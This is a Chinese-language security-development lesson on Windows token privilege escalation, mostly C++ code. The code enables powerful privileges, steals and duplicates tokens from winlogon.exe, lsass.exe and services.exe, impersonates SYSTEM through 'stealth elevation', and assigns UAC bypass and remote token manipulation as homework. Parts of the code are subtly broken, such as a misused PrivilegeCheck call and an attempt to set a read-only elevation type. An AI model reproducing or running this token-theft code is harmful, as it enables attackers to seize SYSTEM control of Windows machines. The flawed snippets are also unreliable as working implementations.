安全开发专题

6、令牌提权

1、课程目标

  1. 理解Windows安全令牌机制
  2. 掌握令牌提权技术实现
  3. 实现进程权限提升功能
  4. 了解权限管理和安全策略

2、名词解释

术语 全称 解释
Token 安全令牌 包含进程/线程安全信息的对象
Privilege 特权 允许执行特定系统操作的权利
Impersonation 模拟 以其他用户身份执行操作
Elevation 提升 获取更高权限级别

3、技术原理

1. Windows令牌机制

安全令牌结构:
┌─────────────────────────────────────┐
│           TOKEN结构                  │
├─────────────────────────────────────┤
│  用户SID列表                        │
│  组SID列表                          │
│  特权列表                           │
│  默认DACL                          │
│  令牌类型                           │
│  令牌来源                           │
└─────────────────────────────────────┘

令牌类型:
Primary Token    - 主令牌,用于创建进程
Impersonation Token - 模拟令牌,用于线程模拟

特权类型:
SE_DEBUG_NAME        - 调试权限
SE_TCB_NAME          - TCB权限
SE_BACKUP_NAME       - 备份权限
SE_RESTORE_NAME      - 恢复权限
SE_TAKE_OWNERSHIP_NAME - 所有权权限

2. 令牌提权原理

提权流程:
1. 获取当前进程令牌
2. 查询令牌特权信息
3. 启用目标特权
4. 验证特权状态

API调用链:
OpenProcessToken()  - 打开进程令牌
LookupPrivilegeValue() - 查找特权值
AdjustTokenPrivileges() - 调整令牌特权

3、代码实现

1. 基础令牌提权实现

// token_privilege.cpp
// 基础令牌提权实现

#include <windows.h>
#include <stdio.h>
#include <string>

// 令牌提权类
class TokenPrivilege {
public:
    // 启用调试权限
    static bool EnableDebugPrivilege() {
        return EnablePrivilege(SE_DEBUG_NAME);
    }
    
    // 启用备份权限
    static bool EnableBackupPrivilege() {
        return EnablePrivilege(SE_BACKUP_NAME);
    }
    
    // 启用恢复权限
    static bool EnableRestorePrivilege() {
        return EnablePrivilege(SE_RESTORE_NAME);
    }
    
    // 启用关机权限
    static bool EnableShutdownPrivilege() {
        return EnablePrivilege(SE_SHUTDOWN_NAME);
    }
    
    // 启用系统时间权限
    static bool EnableSystemTimePrivilege() {
        return EnablePrivilege(SE_SYSTEMTIME_NAME);
    }
    
    // 启用接管权限
    static bool EnableTakeOwnershipPrivilege() {
        return EnablePrivilege(SE_TAKE_OWNERSHIP_NAME);
    }
    
    // 检查特权是否启用
    static bool IsPrivilegeEnabled(const char* privilegeName) {
        HANDLE hToken;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
            return false;
        }
        
        LUID luid;
        if (!LookupPrivilegeValueA(NULL, privilegeName, &luid)) {
            CloseHandle(hToken);
            return false;
        }
        
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = 0;
        
        PRIVILEGE_SET ps;
        DWORD returnLength = sizeof(PRIVILEGE_SET);
        
        if (!PrivilegeCheck(hToken, &tp, &ps)) {
            CloseHandle(hToken);
            return false;
        }
        
        CloseHandle(hToken);
        return (ps.PrivilegeCount == 1 && (ps.Control & PRIVILEGE_SET_ALL_NECESSARY));
    }
    
    // 列出所有可用特权
    static void ListAvailablePrivileges() {
        HANDLE hToken;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
            return;
        }
        
        DWORD tokenInfoLength = 0;
        GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tokenInfoLength);
        
        PTOKEN_PRIVILEGES tokenPrivileges = (PTOKEN_PRIVILEGES)malloc(tokenInfoLength);
        if (!tokenPrivileges) {
            CloseHandle(hToken);
            return;
        }
        
        if (GetTokenInformation(hToken, TokenPrivileges, tokenPrivileges, 
                               tokenInfoLength, &tokenInfoLength)) {
            
            printf("Available Privileges:\n");
            printf("--------------------\n");
            
            for (DWORD i = 0; i < tokenPrivileges->PrivilegeCount; i++) {
                char name[256];
                DWORD nameSize = sizeof(name);
                
                if (LookupPrivilegeNameA(NULL, &tokenPrivileges->Privileges[i].Luid, 
                                        name, &nameSize)) {
                    
                    const char* status = (tokenPrivileges->Privileges[i].Attributes & SE_PRIVILEGE_ENABLED) 
                                        ? "Enabled" : "Disabled";
                    
                    printf("%-30s [%s]\n", name, status);
                }
            }
        }
        
        free(tokenPrivileges);
        CloseHandle(hToken);
    }
    
private:
    // 启用指定特权
    static bool EnablePrivilege(const char* privilegeName) {
        HANDLE hToken;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
            printf("[-] Failed to open process token: %lu\n", GetLastError());
            return false;
        }
        
        LUID luid;
        if (!LookupPrivilegeValueA(NULL, privilegeName, &luid)) {
            printf("[-] Failed to lookup privilege value: %lu\n", GetLastError());
            CloseHandle(hToken);
            return false;
        }
        
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        
        if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
            printf("[-] Failed to adjust token privileges: %lu\n", GetLastError());
            CloseHandle(hToken);
            return false;
        }
        
        if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
            printf("[-] Not all privileges assigned\n");
            CloseHandle(hToken);
            return false;
        }
        
        CloseHandle(hToken);
        printf("[+] Privilege enabled: %s\n", privilegeName);
        return true;
    }
};

// 测试函数
void TestTokenPrivilege() {
    printf("=== Token Privilege Test ===\n");
    
    // 列出当前特权
    printf("[*] Current privileges:\n");
    TokenPrivilege::ListAvailablePrivileges();
    
    // 尝试启用调试权限
    printf("\n[*] Enabling debug privilege...\n");
    if (TokenPrivilege::EnableDebugPrivilege()) {
        printf("[+] Debug privilege enabled\n");
    } else {
        printf("[-] Failed to enable debug privilege\n");
    }
    
    // 检查特权状态
    if (TokenPrivilege::IsPrivilegeEnabled(SE_DEBUG_NAME)) {
        printf("[+] Debug privilege is active\n");
    } else {
        printf("[-] Debug privilege is not active\n");
    }
}

2. 高级令牌提权技术

// advanced_token_privilege.cpp
// 高级令牌提权技术

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <vector>

// 高级令牌提权类
class AdvancedTokenPrivilege {
public:
    // 从其他进程中窃取令牌
    static bool StealTokenFromProcess(const char* processName) {
        // 创建进程快照
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == INVALID_HANDLE_VALUE) {
            return false;
        }
        
        PROCESSENTRY32 pe32 = {0};
        pe32.dwSize = sizeof(PROCESSENTRY32);
        
        // 遍历进程
        if (Process32First(hSnapshot, &pe32)) {
            do {
                if (_stricmp(pe32.szExeFile, processName) == 0) {
                    // 找到目标进程,尝试窃取令牌
                    if (DuplicateTokenFromProcess(pe32.th32ProcessID)) {
                        CloseHandle(hSnapshot);
                        return true;
                    }
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        
        CloseHandle(hSnapshot);
        return false;
    }
    
    // 从系统进程中窃取令牌
    static bool StealTokenFromSystemProcess() {
        DWORD processIds[1024];
        DWORD bytesReturned;
        
        // 枚举所有进程
        if (!EnumProcesses(processIds, sizeof(processIds), &bytesReturned)) {
            return false;
        }
        
        DWORD processCount = bytesReturned / sizeof(DWORD);
        
        // 查找系统进程(PID通常很小)
        for (DWORD i = 0; i < processCount; i++) {
            if (processIds[i] < 1000 && processIds[i] != 0) {
                // 尝试从该进程窃取令牌
                if (DuplicateTokenFromProcess(processIds[i])) {
                    printf("[+] Token stolen from system process PID: %lu\n", processIds[i]);
                    return true;
                }
            }
        }
        
        return false;
    }
    
    // 创建具有提升权限的进程
    static bool CreateElevatedProcess(const char* applicationName) {
        HANDLE hToken;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
            return false;
        }
        
        // 创建主令牌
        HANDLE hNewToken;
        if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, 
                             SecurityImpersonation, TokenPrimary, &hNewToken)) {
            CloseHandle(hToken);
            return false;
        }
        
        // 设置令牌为提升状态
        TOKEN_ELEVATION_TYPE elevationType = TokenElevationTypeFull;
        if (!SetTokenInformation(hNewToken, TokenElevationType, 
                                &elevationType, sizeof(elevationType))) {
            CloseHandle(hNewToken);
            CloseHandle(hToken);
            return false;
        }
        
        // 创建进程
        STARTUPINFOA si = { sizeof(STARTUPINFOA) };
        PROCESS_INFORMATION pi = {0};
        
        BOOL result = CreateProcessAsUserA(
            hNewToken,
            applicationName,
            NULL,
            NULL,
            NULL,
            FALSE,
            0,
            NULL,
            NULL,
            &si,
            &pi
        );
        
        if (result) {
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            printf("[+] Elevated process created: %s\n", applicationName);
        }
        
        CloseHandle(hNewToken);
        CloseHandle(hToken);
        return (result != FALSE);
    }
    
    // 获取当前进程完整性级别
    static DWORD GetCurrentIntegrityLevel() {
        HANDLE hToken;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
            return 0;
        }
        
        DWORD tokenInfoLength = 0;
        GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &tokenInfoLength);
        
        PTOKEN_MANDATORY_LABEL tokenLabel = (PTOKEN_MANDATORY_LABEL)malloc(tokenInfoLength);
        if (!tokenLabel) {
            CloseHandle(hToken);
            return 0;
        }
        
        if (!GetTokenInformation(hToken, TokenIntegrityLevel, tokenLabel, 
                                tokenInfoLength, &tokenInfoLength)) {
            free(tokenLabel);
            CloseHandle(hToken);
            return 0;
        }
        
        DWORD integrityLevel = *GetSidSubAuthority(tokenLabel->Label.Sid, 0);
        
        free(tokenLabel);
        CloseHandle(hToken);
        return integrityLevel;
    }
    
private:
    // 从指定进程复制令牌
    static bool DuplicateTokenFromProcess(DWORD processId) {
        // 打开目标进程
        HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processId);
        if (!hProcess) {
            return false;
        }
        
        // 打开进程令牌
        HANDLE hToken;
        if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
            CloseHandle(hProcess);
            return false;
        }
        
        // 复制令牌
        HANDLE hNewToken;
        if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, 
                             SecurityImpersonation, TokenPrimary, &hNewToken)) {
            CloseHandle(hToken);
            CloseHandle(hProcess);
            return false;
        }
        
        // 应用令牌到当前线程
        if (SetThreadToken(NULL, hNewToken)) {
            printf("[+] Token duplicated and applied from PID: %lu\n", processId);
            
            CloseHandle(hNewToken);
            CloseHandle(hToken);
            CloseHandle(hProcess);
            return true;
        }
        
        CloseHandle(hNewToken);
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return false;
    }
};

// 测试高级令牌提权
void TestAdvancedTokenPrivilege() {
    printf("=== Advanced Token Privilege Test ===\n");
    
    // 获取当前完整性级别
    DWORD integrityLevel = AdvancedTokenPrivilege::GetCurrentIntegrityLevel();
    printf("[*] Current integrity level: %lu\n", integrityLevel);
    
    // 尝试从系统进程窃取令牌
    printf("[*] Attempting to steal token from system process...\n");
    if (AdvancedTokenPrivilege::StealTokenFromSystemProcess()) {
        printf("[+] Token successfully stolen\n");
        
        // 再次检查完整性级别
        integrityLevel = AdvancedTokenPrivilege::GetCurrentIntegrityLevel();
        printf("[*] New integrity level: %lu\n", integrityLevel);
    } else {
        printf("[-] Failed to steal token\n");
    }
}

3. 隐蔽令牌提权实现

// stealth_token_privilege.cpp
// 隐蔽令牌提权实现

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string>

// 隐蔽令牌提权类
class StealthTokenPrivilege {
private:
    static bool m_isElevated;
    
public:
    // 隐蔽提权初始化
    static bool InitializeStealthElevation() {
        // 检查是否已经在提升状态下
        if (IsProcessElevated()) {
            m_isElevated = true;
            return true;
        }
        
        // 尝试隐蔽提权
        return PerformStealthElevation();
    }
    
    // 检查是否已提权
    static bool IsElevated() {
        return m_isElevated;
    }
    
    // 隐蔽启用特权
    static bool StealthEnablePrivilege(const char* privilegeName) {
        // 使用较低权限尝试启用
        return EnablePrivilege(privilegeName, false);
    }
    
    // 获取系统权限令牌
    static HANDLE GetSystemToken() {
        // 查找winlogon.exe进程
        DWORD winlogonPid = GetProcessIdByName("winlogon.exe");
        if (winlogonPid == 0) {
            return NULL;
        }
        
        return DuplicateTokenFromProcess(winlogonPid);
    }
    
private:
    // 检查进程是否已提升
    static bool IsProcessElevated() {
        HANDLE hToken;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
            return false;
        }
        
        TOKEN_ELEVATION elevation;
        DWORD returnLength;
        
        if (GetTokenInformation(hToken, TokenElevation, &elevation, 
                               sizeof(elevation), &returnLength)) {
            CloseHandle(hToken);
            return elevation.TokenIsElevated != 0;
        }
        
        CloseHandle(hToken);
        return false;
    }
    
    // 执行隐蔽提权
    static bool PerformStealthElevation() {
        // 方法1: 尝试从服务进程中获取令牌
        HANDLE hToken = GetTokenFromService();
        if (hToken) {
            if (ImpersonateLoggedOnUser(hToken)) {
                m_isElevated = true;
                printf("[+] Stealth elevation successful via service\n");
                return true;
            }
            CloseHandle(hToken);
        }
        
        // 方法2: 尝试从本地安全机构获取令牌
        hToken = GetTokenFromLSA();
        if (hToken) {
            if (ImpersonateLoggedOnUser(hToken)) {
                m_isElevated = true;
                printf("[+] Stealth elevation successful via LSA\n");
                return true;
            }
            CloseHandle(hToken);
        }
        
        return false;
    }
    
    // 从服务获取令牌
    static HANDLE GetTokenFromService() {
        // 查找services.exe进程
        DWORD servicesPid = GetProcessIdByName("services.exe");
        if (servicesPid == 0) {
            return NULL;
        }
        
        return DuplicateTokenFromProcess(servicesPid);
    }
    
    // 从LSA获取令牌
    static HANDLE GetTokenFromLSA() {
        // 查找lsass.exe进程
        DWORD lsassPid = GetProcessIdByName("lsass.exe");
        if (lsassPid == 0) {
            return NULL;
        }
        
        return DuplicateTokenFromProcess(lsassPid);
    }
    
    // 通过进程名获取PID
    static DWORD GetProcessIdByName(const char* processName) {
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == INVALID_HANDLE_VALUE) {
            return 0;
        }
        
        PROCESSENTRY32 pe32 = {0};
        pe32.dwSize = sizeof(PROCESSENTRY32);
        
        if (Process32First(hSnapshot, &pe32)) {
            do {
                if (_stricmp(pe32.szExeFile, processName) == 0) {
                    CloseHandle(hSnapshot);
                    return pe32.th32ProcessID;
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        
        CloseHandle(hSnapshot);
        return 0;
    }
    
    // 从进程复制令牌
    static HANDLE DuplicateTokenFromProcess(DWORD processId) {
        HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processId);
        if (!hProcess) {
            return NULL;
        }
        
        HANDLE hToken;
        if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
            CloseHandle(hProcess);
            return NULL;
        }
        
        HANDLE hNewToken;
        if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, 
                             SecurityImpersonation, TokenImpersonation, &hNewToken)) {
            CloseHandle(hToken);
            CloseHandle(hProcess);
            return NULL;
        }
        
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return hNewToken;
    }
    
    // 启用特权(可选择是否显示详细信息)
    static bool EnablePrivilege(const char* privilegeName, bool verbose = true) {
        HANDLE hToken;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
            if (verbose) {
                printf("[-] Failed to open process token: %lu\n", GetLastError());
            }
            return false;
        }
        
        LUID luid;
        if (!LookupPrivilegeValueA(NULL, privilegeName, &luid)) {
            if (verbose) {
                printf("[-] Failed to lookup privilege value: %lu\n", GetLastError());
            }
            CloseHandle(hToken);
            return false;
        }
        
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        
        BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
        
        if (!result || GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
            if (verbose) {
                printf("[-] Failed to adjust token privileges\n");
            }
            CloseHandle(hToken);
            return false;
        }
        
        CloseHandle(hToken);
        if (verbose) {
            printf("[+] Privilege enabled: %s\n", privilegeName);
        }
        return true;
    }
};

// 静态成员初始化
bool StealthTokenPrivilege::m_isElevated = false;

// 测试隐蔽提权
void TestStealthTokenPrivilege() {
    printf("=== Stealth Token Privilege Test ===\n");
    
    // 检查当前状态
    printf("[*] Current elevation status: %s\n", 
           StealthTokenPrivilege::IsElevated() ? "Elevated" : "Not elevated");
    
    // 初始化隐蔽提权
    printf("[*] Initializing stealth elevation...\n");
    if (StealthTokenPrivilege::InitializeStealthElevation()) {
        printf("[+] Stealth elevation successful\n");
        printf("[*] New elevation status: %s\n", 
               StealthTokenPrivilege::IsElevated() ? "Elevated" : "Not elevated");
    } else {
        printf("[-] Stealth elevation failed\n");
    }
    
    // 尝试启用调试权限
    printf("[*] Enabling debug privilege stealthily...\n");
    if (StealthTokenPrivilege::StealthEnablePrivilege(SE_DEBUG_NAME)) {
        printf("[+] Debug privilege enabled\n");
    } else {
        printf("[-] Failed to enable debug privilege\n");
    }
}

4. 令牌提权管理器

// token_manager.cpp
// 令牌提权管理器

#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>

// 提权级别枚举
enum class ElevationLevel {
    None,           // 无提权
    Medium,         // 中等级别
    High,           // 高级别
    System          // 系统级别
};

// 令牌提权管理器
class TokenElevationManager {
private:
    HANDLE m_hCurrentToken;
    ElevationLevel m_currentLevel;
    std::vector<std::string> m_enabledPrivileges;
    
public:
    TokenElevationManager() : m_hCurrentToken(NULL), m_currentLevel(ElevationLevel::None) {
        Initialize();
    }
    
    ~TokenElevationManager() {
        Cleanup();
    }
    
    // 获取当前提权级别
    ElevationLevel GetCurrentLevel() const {
        return m_currentLevel;
    }
    
    // 提升到指定级别
    bool ElevateToLevel(ElevationLevel targetLevel) {
        switch (targetLevel) {
            case ElevationLevel::Medium:
                return ElevateToMedium();
                
            case ElevationLevel::High:
                return ElevateToHigh();
                
            case ElevationLevel::System:
                return ElevateToSystem();
                
            default:
                return false;
        }
    }
    
    // 启用特定特权
    bool EnablePrivilege(const char* privilegeName) {
        if (InternalEnablePrivilege(privilegeName)) {
            m_enabledPrivileges.push_back(privilegeName);
            return true;
        }
        return false;
    }
    
    // 禁用特定特权
    bool DisablePrivilege(const char* privilegeName) {
        return InternalDisablePrivilege(privilegeName);
    }
    
    // 检查特权是否启用
    bool IsPrivilegeEnabled(const char* privilegeName) {
        return InternalCheckPrivilege(privilegeName);
    }
    
    // 获取令牌统计信息
    void GetTokenStatistics() {
        if (!m_hCurrentToken) return;
        
        TOKEN_STATISTICS stats;
        DWORD returnLength;
        
        if (GetTokenInformation(m_hCurrentToken, TokenStatistics, &stats, 
                               sizeof(stats), &returnLength)) {
            
            printf("Token Statistics:\n");
            printf("  Authentication ID: %08X-%08X\n", 
                   stats.AuthenticationId.HighPart, stats.AuthenticationId.LowPart);
            printf("  Token Type: %s\n", 
                   (stats.TokenType == TokenPrimary) ? "Primary" : "Impersonation");
            printf("  Privileges: %lu\n", stats.PrivilegeCount);
            printf("  Groups: %lu\n", stats.GroupCount);
        }
    }
    
    // 列出所有启用的特权
    void ListEnabledPrivileges() {
        printf("Enabled Privileges:\n");
        printf("------------------\n");
        
        for (const auto& privilege : m_enabledPrivileges) {
            printf("  %s\n", privilege.c_str());
        }
    }
    
private:
    // 初始化管理器
    void Initialize() {
        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &m_hCurrentToken)) {
            // 检测当前提权级别
            m_currentLevel = DetectCurrentLevel();
        }
    }
    
    // 清理资源
    void Cleanup() {
        if (m_hCurrentToken) {
            CloseHandle(m_hCurrentToken);
            m_hCurrentToken = NULL;
        }
    }
    
    // 检测当前提权级别
    ElevationLevel DetectCurrentLevel() {
        if (!m_hCurrentToken) return ElevationLevel::None;
        
        // 检查完整性级别
        DWORD integrityLevel = GetIntegrityLevel();
        
        if (integrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) {
            return ElevationLevel::System;
        } else if (integrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
            return ElevationLevel::High;
        } else if (integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID) {
            return ElevationLevel::Medium;
        }
        
        return ElevationLevel::None;
    }
    
    // 获取完整性级别
    DWORD GetIntegrityLevel() {
        if (!m_hCurrentToken) return 0;
        
        DWORD tokenInfoLength = 0;
        GetTokenInformation(m_hCurrentToken, TokenIntegrityLevel, NULL, 0, &tokenInfoLength);
        
        PTOKEN_MANDATORY_LABEL tokenLabel = (PTOKEN_MANDATORY_LABEL)malloc(tokenInfoLength);
        if (!tokenLabel) return 0;
        
        if (GetTokenInformation(m_hCurrentToken, TokenIntegrityLevel, tokenLabel, 
                               tokenInfoLength, &tokenInfoLength)) {
            
            DWORD integrityLevel = *GetSidSubAuthority(tokenLabel->Label.Sid, 0);
            free(tokenLabel);
            return integrityLevel;
        }
        
        free(tokenLabel);
        return 0;
    }
    
    // 提升到中等级别
    bool ElevateToMedium() {
        // 中等级别通常是默认状态,无需特殊操作
        if (m_currentLevel >= ElevationLevel::Medium) {
            return true;
        }
        
        // 尝试启用常用特权
        EnablePrivilege(SE_CHANGE_NOTIFY_NAME);
        m_currentLevel = ElevationLevel::Medium;
        return true;
    }
    
    // 提升到高级别
    bool ElevateToHigh() {
        if (m_currentLevel >= ElevationLevel::High) {
            return true;
        }
        
        // 启用调试权限
        if (!EnablePrivilege(SE_DEBUG_NAME)) {
            return false;
        }
        
        // 启用备份/恢复权限
        EnablePrivilege(SE_BACKUP_NAME);
        EnablePrivilege(SE_RESTORE_NAME);
        
        m_currentLevel = ElevationLevel::High;
        return true;
    }
    
    // 提升到系统级别
    bool ElevateToSystem() {
        if (m_currentLevel >= ElevationLevel::System) {
            return true;
        }
        
        // 获取系统令牌
        HANDLE hSystemToken = GetSystemToken();
        if (!hSystemToken) {
            return false;
        }
        
        // 应用系统令牌
        if (ImpersonateLoggedOnUser(hSystemToken)) {
            // 更新当前令牌句柄
            if (m_hCurrentToken) {
                CloseHandle(m_hCurrentToken);
            }
            m_hCurrentToken = hSystemToken;
            m_currentLevel = ElevationLevel::System;
            
            printf("[+] Elevated to system level\n");
            return true;
        }
        
        CloseHandle(hSystemToken);
        return false;
    }
    
    // 获取系统令牌
    HANDLE GetSystemToken() {
        // 查找winlogon进程
        DWORD winlogonPid = FindProcessId("winlogon.exe");
        if (winlogonPid == 0) {
            return NULL;
        }
        
        // 打开进程
        HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, winlogonPid);
        if (!hProcess) {
            return NULL;
        }
        
        // 打开令牌
        HANDLE hToken;
        if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
            CloseHandle(hProcess);
            return NULL;
        }
        
        // 复制令牌
        HANDLE hDupToken;
        if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, 
                             SecurityImpersonation, TokenImpersonation, &hDupToken)) {
            CloseHandle(hToken);
            CloseHandle(hProcess);
            return NULL;
        }
        
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return hDupToken;
    }
    
    // 查找进程ID
    DWORD FindProcessId(const char* processName) {
        HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (hSnapshot == INVALID_HANDLE_VALUE) {
            return 0;
        }
        
        PROCESSENTRY32 pe32 = {0};
        pe32.dwSize = sizeof(PROCESSENTRY32);
        
        if (Process32First(hSnapshot, &pe32)) {
            do {
                if (_stricmp(pe32.szExeFile, processName) == 0) {
                    CloseHandle(hSnapshot);
                    return pe32.th32ProcessID;
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        
        CloseHandle(hSnapshot);
        return 0;
    }
    
    // 内部启用特权
    bool InternalEnablePrivilege(const char* privilegeName) {
        if (!m_hCurrentToken) return false;
        
        LUID luid;
        if (!LookupPrivilegeValueA(NULL, privilegeName, &luid)) {
            return false;
        }
        
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        
        return (AdjustTokenPrivileges(m_hCurrentToken, FALSE, &tp, 
                                     sizeof(TOKEN_PRIVILEGES), NULL, NULL) != FALSE);
    }
    
    // 内部禁用特权
    bool InternalDisablePrivilege(const char* privilegeName) {
        if (!m_hCurrentToken) return false;
        
        LUID luid;
        if (!LookupPrivilegeValueA(NULL, privilegeName, &luid)) {
            return false;
        }
        
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        tp.Privileges[0].Luid = luid;
        tp.Privileges[0].Attributes = 0; // 禁用
        
        return (AdjustTokenPrivileges(m_hCurrentToken, FALSE, &tp, 
                                     sizeof(TOKEN_PRIVILEGES), NULL, NULL) != FALSE);
    }
    
    // 内部检查特权
    bool InternalCheckPrivilege(const char* privilegeName) {
        if (!m_hCurrentToken) return false;
        
        LUID luid;
        if (!LookupPrivilegeValueA(NULL, privilegeName, &luid)) {
            return false;
        }
        
        PRIVILEGE_SET ps;
        ps.PrivilegeCount = 1;
        ps.Control = 0;
        ps.Privilege[0].Luid = luid;
        ps.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED;
        
        BOOL result;
        return (PrivilegeCheck(m_hCurrentToken, &ps, &result) && result);
    }
};

// 测试令牌提权管理器
void TestTokenElevationManager() {
    printf("=== Token Elevation Manager Test ===\n");
    
    TokenElevationManager manager;
    
    // 显示当前状态
    printf("[*] Current elevation level: ");
    switch (manager.GetCurrentLevel()) {
        case ElevationLevel::None: printf("None\n"); break;
        case ElevationLevel::Medium: printf("Medium\n"); break;
        case ElevationLevel::High: printf("High\n"); break;
        case ElevationLevel::System: printf("System\n"); break;
    }
    
    // 获取令牌统计信息
    manager.GetTokenStatistics();
    
    // 提升到高级别
    printf("[*] Elevating to high level...\n");
    if (manager.ElevateToLevel(ElevationLevel::High)) {
        printf("[+] Successfully elevated to high level\n");
        
        // 启用额外特权
        manager.EnablePrivilege(SE_TAKE_OWNERSHIP_NAME);
        manager.EnablePrivilege(SE_SECURITY_NAME);
        
        // 列出启用的特权
        manager.ListEnabledPrivileges();
    } else {
        printf("[-] Failed to elevate\n");
    }
}

5、课后作业

5.1、作业1:实现Bypass UAC功能

研究并实现用户账户控制(UAC)绕过技术。

5.2、作业2:添加令牌持久化功能

实现令牌的持久化存储和恢复功能。

5.3、作业3:实现远程令牌操作

添加远程进程令牌操作功能。